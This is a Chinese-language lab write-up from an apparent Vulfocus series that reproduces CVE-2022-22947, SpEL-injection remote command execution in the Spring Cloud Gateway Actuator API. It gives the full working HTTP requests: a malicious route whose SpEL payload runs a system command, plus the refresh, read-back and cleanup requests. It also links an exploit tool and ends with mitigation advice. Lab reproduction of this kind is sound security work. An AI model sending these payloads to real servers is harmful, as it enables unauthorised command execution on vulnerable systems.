[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

前言

之前我在对一个目标进行测试的时候扫出了spring信息泄露,并利用heapdump查到了Redis的明文密码,以为到这就结束的时候,一个师傅给我说这个站可以rce,我一看,是被我忽略的扫出的第一个路径/actuator/gateway/routes
[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第1张图片
这就是经验上的差距了,我不知道存在这个路径就有可能rce,所以我决定拿vulfocus对这个漏洞进行复现,下次再见到这个路径,就一眼能看出来可能存在此漏洞。

介绍

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

【受影响版本】
Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 旧的、不受支持的版本也会受到影响 【安全版本】

Spring Cloud Gateway >= 3.1.1 Spring Cloud Gateway >= 3.0.7
参考链接:
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

漏洞环境

使用vulfocus搭建docker环境,本文使用的服务器为云服务器,漏洞复现完成后会删除环境
[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第2张图片

复现过程

访问ip:8080,出现如下图结果说明环境搭建成功
[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第3张图片
首先模拟一下常规渗透测试流程,进行一波扫描,我这里用的是灯塔
[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第4张图片
扫描出存在spring的routes模块,可能存在Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞

接下来正式对漏洞进行复现:

首先,burp抓包,发送如下数据包即可添加一个包含恶意SpEL表达式的路由(目的是要执行id命令):

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第5张图片
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第6张图片
发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第7张图片
可以看到,命令id被成功执行,漏洞复现成功。
最后,因为我们创建了一个恶意的路由,我们测试完漏洞后,可以将我们创建的路由进行删除

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第8张图片
再刷新下路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第9张图片
至此,Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞完美复现成功。

使用工具进行复现

这算是一个比较复杂的漏洞了,实战过程可能比较麻烦,我们可以使用前辈写的工具进行测试。
这里尝试使用在github上搜索到的一款工具:
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947

下载后直接在cmd中使用,可以看到直接返回了命令id的执行结果,证明该网站存在该漏洞,十分的方便快捷
[Vulfocus解题系列] Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)_第10张图片

修复建议

临时修复建议:
如果不需要网关执行器端点,则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器,则应使用 Spring Security 对其进行保护,请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。

通用修复建议:
官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway

你可能感兴趣的:(漏洞复现,spring,cloud,java,spring)